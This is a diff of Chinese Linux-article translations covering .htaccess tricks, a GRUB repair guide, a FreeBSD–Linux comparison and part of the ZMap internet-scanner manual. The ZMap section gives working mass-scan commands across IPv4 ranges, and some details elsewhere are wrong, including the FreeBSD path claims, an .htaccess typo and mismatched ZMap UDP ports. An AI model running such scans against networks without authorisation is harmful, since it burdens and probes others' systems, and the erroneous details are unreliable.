允许多个页面包含同样的内容,因此只需要编辑一个文件就行,从而可以节省很多磁盘空间。对于 .shtml 文件,服务器默认启用了该选项。 + +如果你想要对 .html 启用该选项,你需要添加下面的行: + + AddHandler server-parsed .html + +这样 html 文件中如下部分会被替换为 SSI。 + + + +#### 16. 如何防止网站列出目录列表 #### + +为防止任何客户端在本地机器罗列服务器上的网站目录列表,添加下面的行到你不想列出的目录的文件中。 + + Options -Indexes + +#### 17. 更改默认字符集和语言头 #### + +.htaccess 文件允许你更改网站使用的字符集,例如 ASCII 或 UNICODE,UTF-8 等,以及用于显示内容的默认语言。 + +在服务器的全局环境变量之后添加下面语句可以实现上述功能。 + + AddDefaultCharset UTF-8 + DefaultLanguage en-US + +#### 18. 重定向一个非 www URL 到 www URL #### + +在开始解释之前,首先看看如何启用该功能,添加下列行到 .htaccess 文件。 + + RewriteEngine ON + RewriteCond %{HTTP_HOST} ^abc\.net$ + RewriteRule (.*) http://www.abc.net/$1 [R=301,L] + +上面的行启用重写引擎,然后在第二行检查所有涉及到主机 abc.net 或 环境变量 HTTP_HOST 为 “abc.net” 的 URL。 + +对于所有这样的 URL,代码永久重定向它们(如果启用了 R=301 规则)到新 URL http://www.abc.net/$1,其中 $1 是主机为 abc.net 的非 www URL。非 www URL 是大括号内的内容,并通过 $1 引用。 + +**重写 URL 的重定向规则** + +重写功能简单的说,就是用短而易记的 URL 替换长而难以记忆的 URL。但是,在开始这个话题之前,这里有一些本文后面会使用的特殊字符的规则和约定。 + +**特殊符号:** + + 符号 含义 + ^ - 字符串开头 + $ - 字符串结尾 + | - 或 [a|b] : a 或 b + [a-z] - a 到 z 的任意字母 + + - 之前字母的一次或多次出现 + * - 之前字母的零次或多次出现 + ? - 之前字母的零次或一次出现 + +**常量和它们的含义:** + + 常量 含义 + NC - 区分大小写 + L - 最后的规则 – 停止处理后面规则 + R - 临时重定向到新 URL + R=301 - 永久重定向到新 URL + F - 禁止发送 403 头给用户 + P - 代理 - 获取远程内容代替部分并返回 + G - Gone, 不再存在 + S=x - 跳过后面的 x 条规则 + T=mime-type - 强制指定 MIME 类型 + E=var:value - 设置环境变量 var 的值为 value + H=handler - 设置处理器 + PT - Pass through - 用于 URL 还有额外的头 + QSA - 将查询字符串追加到替换 URL + + +#### 19. 重定向整个站点到 https #### + +下面的行会帮助你转换整个网站到 https: + + RewriteEngine ON + RewriteCond %{HTTPS} !on + RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} + +上面的行启用重写引擎,然后检查环境变量 HTTPS 的值。如果设置了那么重写所有网站页面到 https。 + +#### 20.一个自定义重写例子 #### + +例如,重定向 url ‘http://www.abc.net?p=100&q=20’ 到 ‘http://www.abc.net/10020pq’。 + + RewriteEngine ON + RewriteRule ^http://www.abc.net/([0-9]+)([0-9]+)pq$ ^http://www.abc.net?p=$1&q=$2 + +在上面的行中,$1 表示第一个括号,$2 表示第二个括号。 + +#### 21. 重命名 htaccess 文件 #### + +为了防止入侵者和其他人查看 .htaccess 文件,你可以重命名该文件,这样就不能通过客户端浏览器访问。实现该目标的语句是: + + AccessFileName htac.cess + +#### 22. 如何为你的网站禁用图片盗链 #### + +网站带宽消耗比较大的另外一个重要问题是盗链问题,这是其它站点用于显示你网站的图片而链接到你的网站的链接,这会消耗你的带宽。这问题也被成为 ‘带宽盗窃’。 + +一个常见现象是当一个网站要显示其它网站所包含的图片时,由于该链接需要从你的网站加载内容,消耗你站点的带宽而为其它站点显示图片。为了防止出现这种情况,比如对于 .gif、.jpeg 图片等,下面的代码行会有所帮助: + + RewriteEngine ON + RewriteCond %{HTTP_REFERER} !^$ + RewriteCond %{HTTP_REFERERER} !^http://(www\.)?mydomain.com/.*$ [NC] + RewriteRule \.(gif|jpeg|png)$ - [F]. + +上面的行检查 HTTP_REFERER 是否没有设为空或没有设为你站点上的任何链接。如果是这样的话,你网页上的所有图片会用 403 禁止访问代替。 + +#### 23. 如何将用户重定向到维护页面 #### + +如果你的网站需要进行维护并且你想向所有需要访问该网站的你的所有客户通知这个消息,对于这种情况,你可以添加下面的行到你的 .htaccess 文件,从而只允许管理员访问并替换所有访问 .jpg、.css、.gif、.js 等的页面内容。 + + RewriteCond %{REQUEST_URI} !^/admin/ [NC] + RewriteCond %{REQUEST_URI} !^((.*).css|(.*).js|(.*).png|(.*).jpg) [NC] + RewriteRule ^(.*)$ /ErrorDocs/Maintainence_Page.html [NC,L,U,QSA] + +这些行检查请求 URL 是否包含任何例如以 ‘/admin/’ 开头的管理页面的请求,或任何到 ‘.png, .jpg, .js, .css’ 页面的请求,对于任何这样的请求,用 ‘ErrorDocs/Maintainence_Page.html’ 替换那个页面。 + +#### 24. 映射 IP 地址到域名 #### + +名称服务器是将特定 IP 地址转换为域名的服务器。这种映射也可以在 .htaccess 文件中用以下形式指定。 + + # 为了将IP地址 L.M.N.O 映射到域名 www.hellovisit.com + RewriteCond %{HTTP_HOST} ^L\.M\.N\.O$ [NC] + RewriteRule ^(.*)$ http://www.hellovisit.com/$1 [L,R=301] + +上面的行检查任何页面的主机是否包含类似 L.M.N.O 的 IP 地址,如果是的话第三行会通过永久重定向将页面映射到域名 http://www.hellovisit.com。 + +#### 25. FilesMatch 标签 #### + +类似用于应用条件到单个文件的 标签, 能用于匹配一组文件并对该组文件应用一些条件,如下: + + + Order Allow, Deny + Deny from All + + +### 结论 ### + +.htaccess 文件能实现的小技巧还有很多。这告诉了我们这个文件有多么强大,通过该文件能给你的站点添加多少安全性、动态性以及其它功能。 + +我们已经在这篇文章中尽最大努力覆盖尽可能多的 htaccess 小技巧,但如果我们缺少了任何重要的技巧,或者你愿意告诉我们你的 htaccess 想法和技巧,你可以在下面的评论框中提交,我们也会在文章中进行介绍。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/apache-htaccess-tricks/ + +作者:[Gunjit Khera][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/gunjitk94/ +[1]:https://en.wikipedia.org/wiki/NCSA_HTTPd \ No newline at end of file diff --git a/published/201507/20150227 Fix Minimal BASH like line editing is supported GRUB Error In Linux.md b/published/201507/20150227 Fix Minimal BASH like line editing is supported GRUB Error In Linux.md new file mode 100644 index 0000000000..66ab15e999 --- /dev/null +++ b/published/201507/20150227 Fix Minimal BASH like line editing is supported GRUB Error In Linux.md @@ -0,0 +1,89 @@ +修复Linux中的“提供类似行编辑的袖珍BASH...”的GRUB错误 +================================================================================ + +这两天我[安装了Elementary OS和Windows双系统][1],在启动的时候遇到了一个Grub错误。命令行中呈现如下信息: + +**Minimal BASH like line editing is supported. For the first word, TAB lists possible command completions. anywhere else TAB lists possible device or file completions.** + +**提供类似行编辑的袖珍 BASH。TAB键补全第一个词,列出可以使用的命令。除此之外,TAB键补全可以列出可用的设备或文件。** + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Boot_Repair_Ubuntu_Linux_1.jpeg) + +事实上这并不是Elementary OS独有的错误。这是常见的[Grub][2]错误,会在Ubuntu,Fedora,Linux Mint等Linux操作系统上发生。 + +通过这篇文章里我们可以学到基于Linux系统**如何修复Ubuntu中出现的“minimal BASH like line editing is supported” Grub错误**。 + +> 你可以参阅这篇教程来修复类似的常见问题,[错误:分区未找到Linux grub救援模式][3]。 + +### 先决条件 ### + +要修复这个问题,你需要达成以下的条件: + +- 一个包含相同版本、相同OS的LiveUSB或磁盘 +- 当前会话的Internet连接正常工作 + +在确认了你拥有先决条件了之后,让我们看看如何修复Linux的死亡黑屏(如果我可以这样的称呼它的话 ;) )。 + +### 如何在基于Ubuntu的Linux中修复“minimal BASH like line editing is supported” Grub错误 ### + +我知道你一定疑问这种Grub错误并不局限于在基于Ubuntu的Linux发行版上发生,那为什么我要强调在基于Ubuntu的发行版上呢?原因是,在这里我们将采用一个简单的方法,用个叫做**Boot Repair**的工具来修复我们的问题。我并不确定在其他的诸如Fedora的发行版中是否有这个工具可用。不再浪费时间,我们来看如何修复“minimal BASH like line editing is supported” Grub错误。 + +### 步骤 1: 引导进入lives会话 ### + +插入live USB,引导进入live会话。 + +### 步骤 2: 安装 Boot Repair ### + +等你进入了lives会话后,打开终端使用以下命令来安装Boot Repair: + + sudo add-apt-repository ppa:yannubuntu/boot-repair + sudo apt-get update + sudo apt-get install boot-repair + +注意:推荐这篇教程[如何修复 apt-get update 无法添加新的 CD-ROM 的错误][4],如果你在运行以上命令是遭遇同样的问题。 + +### 步骤 3: 使用Boot Repair修复引导 ### + +装完Boot Repair后,在命令行运行如下命令启动: + + boot-repair & + +其实操作非常简单直接,你仅需按照Boot Repair工具提供的说明操作即可。首先,点击Boot Repair中的**Recommended repair**选项。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Boot_Repair_Ubuntu.png) + +Boot Repair需要花费一些时间来分析引导和Grub中存在的问题。然后,它会提供一些可在命令行中直接运行的命令。将这些命令一个个在终端中执行。我这边屏幕上显示的是: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Boot_Repair_Ubuntu_1.png) + +在输入了这些命令之后,它会执行执行一段时间: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Boot_Repair_Ubuntu_2.png) + +在这一过程结束后,它会提供一个由boot repair的日志组成的网页网址。如果你的引导问题这样都没有修复,你就可以去社区或是发邮件给开发团队并提交该网址作为参考。很酷!不是吗? + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Boot_Repair_Final_Ubuntu.png) + +在boot repair成功完成后,关闭你的电脑,移除USB并再次引导。我这就能成功的引导了,但是在Grub画面上会多出额外的两行。相比于看到系统能够再次正常引导的喜悦这些对我来说并不重要。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Boot_Repair_Ubuntu_Linux_2.jpeg) + +### 对你有效吗? ### + +这就是我修复**Elementary OS Freya中的minimal BASH like line editing is supported Grub 错误**的方法。怎么样?是否对你也有效呢?请自由的在下方的评论区提出你的问题和建议。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/fix-minimal-bash-line-editing-supported-grub-error-linux/ + +作者:[Abhishek][a] +译者:[martin2011qi](https://github.com/martin2011qi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://itsfoss.com/guide-install-elementary-os-luna/ +[2]:http://www.gnu.org/software/grub/ +[3]:http://itsfoss.com/solve-error-partition-grub-rescue-ubuntu-linux/ +[4]:http://itsfoss.com/fix-failed-fetch-cdrom-aptget-update-add-cdroms/ diff --git a/published/201507/20150309 Comparative Introduction To FreeBSD For Linux Users.md b/published/201507/20150309 Comparative Introduction To FreeBSD For Linux Users.md new file mode 100644 index 0000000000..01ee52d26a --- /dev/null +++ b/published/201507/20150309 Comparative Introduction To FreeBSD For Linux Users.md @@ -0,0 +1,101 @@ +FreeBSD 和 Linux 有什么不同? +================================================================================ + +![](https://1102047360.rsc.cdn77.org/wp-content/uploads/2015/03/FreeBSD-790x494.jpg) + +### 简介 ### + +BSD最初从UNIX继承而来,目前,有许多的类Unix操作系统是基于BSD的。FreeBSD是使用最广泛的开源的伯克利软件发行版(即 BSD 发行版)。就像它隐含的意思一样,它是一个自由开源的类Unix操作系统,并且是公共服务器平台。FreeBSD源代码通常以宽松的BSD许可证发布。它与Linux有很多相似的地方,但我们得承认它们在很多方面仍有不同。 + +本文的其余部分组织如下:FreeBSD的描述在第一部分,FreeBSD和Linux的相似点在第二部分,它们的区别将在第三部分讨论,对他们功能的讨论和总结在最后一节。 + +### FreeBSD描述 ### + +#### 历史 #### + +- FreeBSD的第一个版本发布于1993年,它的第一张CD-ROM是FreeBSD1.0,发行于1993年12月。接下来,FreeBSD 2.1.0在1995年发布,并且获得了所有用户的青睐。实际上许多IT公司都使用FreeBSD并且很满意,我们可以列出其中的一些:IBM、Nokia、NetApp和Juniper Network。 + +#### 许可证 #### + +- 关于它的许可证,FreeBSD以多种开源许可证进行发布,它的名为Kernel的最新代码以两句版BSD许可证进行了发布,给予使用和重新发布FreeBSD的绝对自由。其它的代码则以三句版或四句版BSD许可证进行发布,有些是以GPL和CDDL的许可证发布的。 + +(LCTT 译注:BSD 许可证与 GPL 许可证相比,相当简短,最初只有四句规则;1999年应 RMS 请求,删除了第三句,新的许可证称作“新 BSD”或三句版BSD;原来的 BSD 许可证称作“旧 BSD”、“修订的 BSD”或四句版BSD;也有一种删除了第三、第四两句的版本,称之为两句版 BSD,等价于 MIT 许可证。) + +#### 用户 #### + +- FreeBSD的重要特点之一就是它的用户多样性。实际上,FreeBSD可以作为邮件服务器、Web 服务器、FTP 服务器以及路由器等,您只需要在它上运行服务相关的软件即可。而且FreeBSD还支持ARM、PowerPC、MIPS、x86、x86-64架构。 + +### FreeBSD和Linux的相似处 ### + +FreeBSD和Linux是两个自由开源的软件。实际上,它们的用户可以很容易的检查并修改源代码,用户拥有绝对的自由。而且,FreeBSD和Linux都是类Unix系统,它们的内核、内部组件、库程序都使用从历史上的AT&T Unix继承来的算法。FreeBSD从根基上更像Unix系统,而Linux是作为自由的类Unix系统发布的。许多工具应用都可以在FreeBSD和Linux中找到,实际上,他们几乎有同样的功能。 + +此外,FreeBSD能够运行大量的Linux应用。它可以安装一个Linux的兼容层,这个兼容层可以在编译FreeBSD时加入AAC Compact Linux得到,或通过下载已编译了Linux兼容层的FreeBSD系统,其中会包括兼容程序:aac_linux.ko。不同于FreeBSD的是,Linux无法运行FreeBSD的软件。 + +最后,我们注意到虽然二者有同样的目标,但二者还是有一些不同之处,我们在下一节中列出。 + +### FreeBSD和Linux的区别 ### + +目前对于大多数用户来说并没有一个选择FreeBSD还是Linux的明确的准则。因为他们有着很多同样的应用程序,因为他们都被称作类Unix系统。 + +在这一章,我们将列出这两种系统的一些重要的不同之处。 + +#### 许可证 #### + +- 两个系统的区别首先在于它们的许可证。Linux以GPL许可证发行,它为用户提供阅读、发行和修改源代码的自由,GPL许可证帮助用户避免仅仅发行二进制。而FreeBSD以BSD许可证发布,BSD许可证比GPL更宽容,因为其衍生著作不需要仍以该许可证发布。这意味着任何用户能够使用、发布、修改代码,并且不需要维持之前的许可证。 +- 您可以依据您的需求,在两种许可证中选择一种。首先是BSD许可证,由于其特殊的条款,它更受用户青睐。实际上,这个许可证使用户在保证源代码的封闭性的同时,可以售卖以该许可证发布的软件。再说说GPL,它需要每个使用以该许可证发布的软件的用户多加注意。 +- 如果想在以不同许可证发布的两种软件中做出选择,您需要了解他们各自的许可证,以及他们开发中的方法论,从而能了解他们特性的区别,来选择更适合自己需求的。 + +#### 控制 #### + +- 由于FreeBSD和Linux是以不同的许可证发布的,Linus Torvalds控制着Linux的内核,而FreeBSD却与Linux不同,它并未被控制。我个人更倾向于使用FreeBSD而不是Linux,这是因为FreeBSD才是绝对自由的软件,没有任何控制许可证的存在。Linux和FreeBSD还有其他的不同之处,我建议您先不急着做出选择,等读完本文后再做出您的选择。 + +#### 操作系统 #### + +- Linux主要指内核系统,这与FreeBSD不同,FreeBSD的整个系统都被维护着。FreeBSD的内核和一组由FreeBSD团队开发的软件被作为一个整体进行维护。实际上,FreeBSD开发人员能够远程且高效的管理核心操作系统。 +- 而Linux方面,在管理系统方面有一些困难。由于不同的组件由不同的源维护,Linux开发者需要将它们汇集起来,才能达到同样的功能。 +- FreeBSD和Linux都给了用户大量的可选软件和发行版,但他们管理的方式不同。FreeBSD是统一的管理方式,而Linux需要被分别维护。 + +#### 硬件支持 #### + +- 说到硬件支持,Linux比FreeBSD做的更好。但这不意味着FreeBSD没有像Linux那样支持硬件的能力。他们只是在管理的方式不同,这通常还依赖于您的需求。因此,如果您在寻找最新的解决方案,FreeBSD更适应您;但如果您在寻找更多的普适性,那最好使用Linux。 + +#### 原生FreeBSD Vs 原生Linux #### + +- 两者的原生系统的区别又有不同。就像我之前说的,Linux是一个Unix的替代系统,由Linux Torvalds编写,并由网络上的许多极客一起协助实现的。Linux有一个现代系统所需要的全部功能,诸如虚拟内存、共享库、动态加载、优秀的内存管理等。它以GPL许可证发布。 +- FreeBSD也继承了Unix的许多重要的特性。FreeBSD作为在加州大学开发的BSD的一种发行版。开发BSD的最重要的原因是用一个开源的系统来替代AT&T操作系统,从而给用户无需AT&T许可证便可使用的能力。 +- 许可证的问题是开发者们最关心的问题。他们试图提供一个最大化克隆Unix的开源系统。这影响了用户的选择,由于FreeBSD使用BSD许可证进行发布,因而相比Linux更加自由。 + +#### 支持的软件包 #### + +- 从用户的角度来看,另一个二者不同的地方便是软件包以及从源码安装的软件的可用性和支持。Linux只提供了预编译的二进制包,这与FreeBSD不同,它不但提供预编译的包,而且还提供从源码编译和安装的构建系统。使用它的 ports 工具,FreeBSD给了您选择使用预编译的软件包(默认)和在编译时定制您软件的能力。(LCTT 译注:此处说明有误。Linux 也提供了源代码方式的包,并支持自己构建。) +- 这些 ports 允许您构建所有支持FreeBSD的软件。而且,它们的管理还是层次化的,您可以在/usr/ports下找到源文件的地址以及一些正确使用FreeBSD的文档。 +- 这些提到的 ports给予你产生不同软件包版本的可能性。FreeBSD给了您通过源代码构建以及预编译的两种软件,而不是像Linux一样只有预编译的软件包。您可以使用两种安装方式管理您的系统。 + +#### FreeBSD 和 Linux 常用工具比较 #### + +- 有大量的常用工具在FreeBSD上可用,并且有趣的是他们由FreeBSD的团队所拥有。相反的,Linux工具来自GNU,这就是为什么在使用中有一些限制。(LCTT 译注:这也是 Linux 正式的名称被称作“GNU/Linux”的原因,因为本质上 Linux 其实只是指内核。) +- 实际上FreeBSD采用的BSD许可证非常有益且有用。因此,您有能力维护核心操作系统,控制这些应用程序的开发。有一些工具类似于它们的祖先 - BSD和Unix的工具,但不同于GNU的套件,GNU套件只想做到最小的向后兼容。 + +#### 标准 Shell #### + +- FreeBSD默认使用tcsh。它是csh的评估版,由于FreeBSD以BSD许可证发行,因此不建议您在其中使用GNU的组件 bash shell。bash和tcsh的区别仅仅在于tcsh的脚本功能。实际上,我们更推荐在FreeBSD中使用sh shell,因为它更加可靠,可以避免一些使用tcsh和csh时出现的脚本问题。 + +#### 一个更加层次化的文件系统 #### + +- 像之前提到的一样,使用FreeBSD时,基础操作系统以及可选组件可以被很容易的区别开来。这导致了一些管理它们的标准。在Linux下,/bin,/sbin,/usr/bin或者/usr/sbin都是存放可执行文件的目录。FreeBSD不同,它有一些附加的对其进行组织的规范。基础操作系统被放在/usr/local/bin或者/usr/local/sbin目录下。这种方法可以帮助管理和区分基础操作系统和可选组件。 + +### 结论 ### + +FreeBSD和Linux都是自由且开源的系统,他们有相似点也有不同点。上面列出的内容并不能说哪个系统比另一个更好。实际上,FreeBSD和Linux都有自己的特点和技术规格,这使它们与别的系统区别开来。那么,您有什么看法呢?您已经有在使用它们中的某个系统了么?如果答案为是的话,请给我们您的反馈;如果答案是否的话,在读完我们的描述后,您怎么看?请在留言处发表您的观点。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/comparative-introduction-freebsd-linux-users/ + +作者:[anismaj][a] +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://www.unixmen.com/author/anis/ \ No newline at end of file diff --git a/published/201507/20150401 ZMap Documentation.md b/published/201507/20150401 ZMap Documentation.md new file mode 100644 index 0000000000..5d40d10ff3 --- /dev/null +++ b/published/201507/20150401 ZMap Documentation.md @@ -0,0 +1,750 @@ +互联网扫描器 ZMap 完全手册 +================================================================================ +1. 初识 ZMap +1. 最佳扫描习惯 +1. 命令行参数 +1. 附加信息 + 1. TCP SYN 探测模块 + 1. ICMP Echo 探测模块 + 1. UDP 探测模块 + 1. 配置文件 + 1. 详细 + 1. 结果输出 + 1. 黑名单 + 1. 速度限制与抽样 + 1. 发送多个探测 +1. ZMap 扩展 + 1. 示例应用程序 + 1. 编写探测和输出模块 + +---------- + +### 初识 ZMap ### + +ZMap被设计用来针对整个IPv4地址空间或其中的大部分实施综合扫描的工具。ZMap是研究者手中的利器,但在运行ZMap时,请注意,您很有可能正在以每秒140万个包的速度扫描整个IPv4地址空间 。我们建议用户即使在实施小范围扫描之前,也联系一下本地网络的管理员并参考我们列举的[最佳扫描体验](#bestpractices)。 + +默认情况下,ZMap会对于指定端口实施尽可能大速率的TCP SYN扫描。较为保守的情况下,对10,000个随机的地址的80端口以10Mbps的速度扫描,如下所示: + + $ zmap --bandwidth=10M --target-port=80 --max-targets=10000 --output-file=results.csv + +或者更加简洁地写成: + + $ zmap -B 10M -p 80 -n 10000 -o results.csv + +ZMap也可用于扫描特定子网或CIDR地址块。例如,仅扫描10.0.0.0/8和192.168.0.0/16的80端口,运行指令如下: + + zmap -p 80 -o results.csv 10.0.0.0/8 192.168.0.0/16 + +如果扫描进行的顺利,ZMap会每秒输出类似以下内容的状态更新: + + 0% (1h51m left); send: 28777 562 Kp/s (560 Kp/s avg); recv: 1192 248 p/s (231 p/s avg); hits: 0.04% + 0% (1h51m left); send: 34320 554 Kp/s (559 Kp/s avg); recv: 1442 249 p/s (234 p/s avg); hits: 0.04% + 0% (1h50m left); send: 39676 535 Kp/s (555 Kp/s avg); recv: 1663 220 p/s (232 p/s avg); hits: 0.04% + 0% (1h50m left); send: 45372 570 Kp/s (557 Kp/s avg); recv: 1890 226 p/s (232 p/s avg); hits: 0.04% + +这些更新信息提供了扫描的即时状态并表示成: + + 完成进度% (剩余时间); send: 发出包的数量 即时速率 (平均发送速率); recv: 接收包的数量 接收率 (平均接收率); hits: 命中率 + +如果您不知道您所在网络能支持的扫描速率,您可能要尝试不同的扫描速率和带宽限制直到扫描效果开始下降,借此找出当前网络能够支持的最快速度。 + +默认情况下,ZMap会输出不同IP地址的列表(例如,根据SYN ACK数据包的情况),像下面这样。其[输出结果](#output)还有几种附加的格式(如,JSON和Redis),可以用作生成[程序可解析的扫描统计](#verbosity)。 同样,可以指定附加的[输出字段](#outputfields)并使用[输出过滤](#outputfilter)来过滤输出的结果。 + + 115.237.116.119 + 23.9.117.80 + 207.118.204.141 + 217.120.143.111 + 50.195.22.82 + +我们强烈建议您使用[黑名单文件](#blacklisting),以排除预留的/未分配的IP地址空间(如,RFC1918 规定的私有地址、组播地址),以及网络中需要排除在您扫描之外的地址。默认情况下,ZMap将采用位于 `/etc/zmap/blacklist.conf`的这个简单的[黑名单文件](#blacklisting)中所包含的预留和未分配地址。如果您需要某些特定设置,比如每次运行ZMap时的最大带宽或[黑名单文件](#blacklisting),您可以在文件`/etc/zmap/zmap.conf`中指定或使用自定义[配置文件](#config)。 + +如果您正试图解决扫描的相关问题,有几个选项可以帮助您调试。首先,您可以通过添加`--dryrun`实施[预扫](#dryrun),以此来分析包可能会发送到网络的何处。此外,还可以通过设置'--verbosity=n`来更改[日志详细程度](#verbosity)。 + +### 最佳扫描体验 ### + + +我们为针对互联网进行扫描的研究者提供了一些建议,以此来引导养成良好的互联网合作氛围。 + +- 密切协同本地的网络管理员,以减少风险和调查 +- 确认扫描不会使本地网络或上游供应商瘫痪 +- 在发起扫描的源地址的网页和DNS条目中申明你的扫描是善意的 +- 明确解释你的扫描中所有连接的目的和范围 +- 提供一个简单的退出扫描的方法并及时响应请求 +- 实施扫描时,不使用比研究对象需求更大的扫描范围或更快的扫描频率 +- 如果可以,将扫描流量分布到不同的时间或源地址上 + +即使不声明,使用扫描的研究者也应该避免利用漏洞或访问受保护的资源,并遵守其辖区内任何特殊的法律规定。 + +### 命令行参数 ### + + +#### 通用选项 #### + +这些选项是实施简单扫描时最常用的选项。我们注意到某些选项取决于所使用的[探测模块](#probemodule)或[输出模块](#outputmodule)(如,在实施ICMP Echo扫描时是不需要使用目的端口的)。 + +**-p, --target-port=port** + +要扫描的目标TCP端口号(例如,443) + +**-o, --output-file=name** + +将结果写入该文件,使用`-`代表输出到标准输出。 + +**-b, --blacklist-file=path** + +文件中被排除的子网使用CIDR表示法(如192.168.0.0/16),一个一行。建议您使用此方法排除RFC 1918地址、组播地址、IANA预留空间等IANA专用地址。在conf/blacklist.example中提供了一个以此为目的示例黑名单文件。 + +#### 扫描选项 #### + +**-n, --max-targets=n** + +限制探测目标的数量。后面跟的可以是一个数字(例如'-n 1000`),或可扫描地址空间的百分比(例如,`-n 0.1%`,不包括黑名单) + +**-N, --max-results=n** + +收到多少结果后退出 + +**-t, --max-runtime=secs** + +限制发送报文的时间 + +**-r, --rate=pps** + +设置发包速率,以包/秒为单位 + +**-B, --bandwidth=bps** + +以比特/秒设置传输速率(支持使用后缀G,M或K(如`-B 10M`就是速度10 mbps)的。设置会覆盖`--rate`。 + +**-c, --cooldown-time=secs** + +发送完成后等待多久继续接收回包(默认值= 8) + +**-e, --seed=n** + +地址排序种子。如果要用多个ZMap以相同的顺序扫描地址,那么就可以使用这个参数。 + +**--shards=n** + +将扫描分片/区,使其可多个ZMap中执行(默认值= 1)。启用分片时,`--seed`参数是必需的。 + +**--shard=n** + +选择扫描的分片(默认值= 0)。n的范围在[0,N),其中N为碎片的总数。启用分片时,`--seed`参数是必需的。 + +**-T, --sender-threads=n** + +用于发送数据包的线程数(默认值= 1) + +**-P, --probes=n** + +发送到每个IP的探测数(默认值= 1) + +**-d, --dryrun** + +用标准输出打印出每个包,而不是将其发送(用于调试) + +#### 网络选项 #### + +**-s, --source-port=port|range** + +发送数据包的源端口 + +**-S, --source-ip=ip|range** + +发送数据包的源地址。可以仅仅是一个IP,也可以是一个范围(如,10.0.0.1-10.0.0.9) + +**-G, --gateway-mac=addr** + +数据包发送到的网关MAC地址(用以防止自动检测不工作的情况) + +**-i, --interface=name** + +使用的网络接口 + +#### 探测选项 #### + +ZMap允许用户指定并添加自己所需要的[探测模块](#probemodule)。 探测模块的职责就是生成要发送的探测包,并处理主机回复的响应包。 + +**--list-probe-modules** + +列出可用探测模块(如tcp_synscan) + +**-M, --probe-module=name** + +选择[探测模块](#probemodule)(默认值= tcp_synscan) + +**--probe-args=args** + +向模块传递参数 + +**--list-output-fields** + +列出可用的输出模块 + +#### 输出选项 #### + +ZMap允许用户指定和编写他们自己的[输出模块](#outputmodule)。输出模块负责处理由探测模块返回的字段,并将它们输出给用户。用户可以指定输出的字段,并过滤相应字段。 + +**--list-output-modules** + +列出可用输出模块(如tcp_synscan) + +**-O, --output-module=name** + +选择[输出模块](#outputmodule)(默认值为csv) + +**--output-args=args** + +传递给输出模块的参数 + +**-f, --output-fields=fields** + +输出的字段列表,以逗号分割 + +**--output-filter** + +指定输出[过滤器](#outputfilter)对[探测模块](#probemodule)定义字段进行过滤 + +#### 附加选项 #### + +**-C, --config=filename** + +加载[配置文件](#config),可以指定其他路径。 + +**-q, --quiet** + +不必每秒刷新输出 + +**-g, --summary** + +在扫描结束后打印配置和结果汇总信息 + +**-v, --verbosity=n** + +日志详细程度(0-5,默认值= 3) + +**-h, --help** + +打印帮助并退出 + +**-V, --version** + +打印版本并退出 + +### 附加信息 ### + + +#### TCP SYN 扫描 #### + +在执行TCP SYN扫描时,ZMap需要指定一个目标端口,也支持指定发起扫描的源端口范围。 + +**-p, --target-port=port** + +扫描的TCP端口(例如 443) + +**-s, --source-port=port|range** + +发送扫描数据包的源端口(例如 40000-50000) + +**警示!** ZMap基于Linux内核使用RST包来应答SYN/ACK包响应,以关闭扫描器打开的连接。ZMap是在Ethernet层完成包的发送的,这样做是为了减少跟踪打开的TCP连接和路由寻路带来的内核开销。因此,如果您有跟踪连接建立的防火墙规则,如类似于`-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT`的netfilter规则,将阻止SYN/ACK包到达内核。这不会妨碍到ZMap记录应答,但它会阻止RST包被送回,最终被扫描主机的连接会一直打开,直到超时后断开。我们强烈建议您在执行ZMap时,选择一组主机上未使用且防火墙允许访问的端口,加在`-s`后(如 `-s '50000-60000' ` )。 + +#### ICMP Echo 请求扫描 #### + +虽然在默认情况下ZMap执行的是TCP SYN扫描,但它也支持使用ICMP echo请求扫描。在这种扫描方式下ICMP echo请求包被发送到每个主机,并以收到ICMP应答包作为答复。实施ICMP扫描可以通过选择icmp_echoscan扫描模块来执行,如下: + + $ zmap --probe-module=icmp_echoscan + +#### UDP 数据报扫描 #### + +ZMap还额外支持UDP探测,它会发出任意UDP数据报给每个主机,并接收UDP或ICMP不可达的应答。ZMap可以通过使用--probe-args命令行选项来设置四种不同的UDP载荷。这些是:可在命令行设置可打印的ASCII 码的‘text’载荷和十六进制载荷的‘hex’,外部文件中包含载荷的‘file’,和通过动态字段生成的载荷的‘template’。为了得到UDP响应,请使用-f参数确保您指定的“data”字段处于输出范围。 + +下面的例子将发送两个字节'ST',即PCAnwywhere的'status'请求,到UDP端口5632。 + + $ zmap -M udp -p 5632 --probe-args=text:ST -N 100 -f saddr,data -o - + +下面的例子将发送字节“0X02”,即SQL Server的'client broadcast'请求,到UDP端口1434。 + + $ zmap -M udp -p 1434 --probe-args=hex:02 -N 100 -f saddr,data -o - + +下面的例子将发送一个NetBIOS状态请求到UDP端口137。使用一个ZMap自带的载荷文件。 + + $ zmap -M udp -p 1434 --probe-args=file:netbios_137.pkt -N 100 -f saddr,data -o - + +下面的例子将发送SIP的'OPTIONS'请求到UDP端口5060。使用附ZMap自带的模板文件。 + + $ zmap -M udp -p 1434 --probe-args=file:sip_options.tpl -N 100 -f saddr,data -o - + 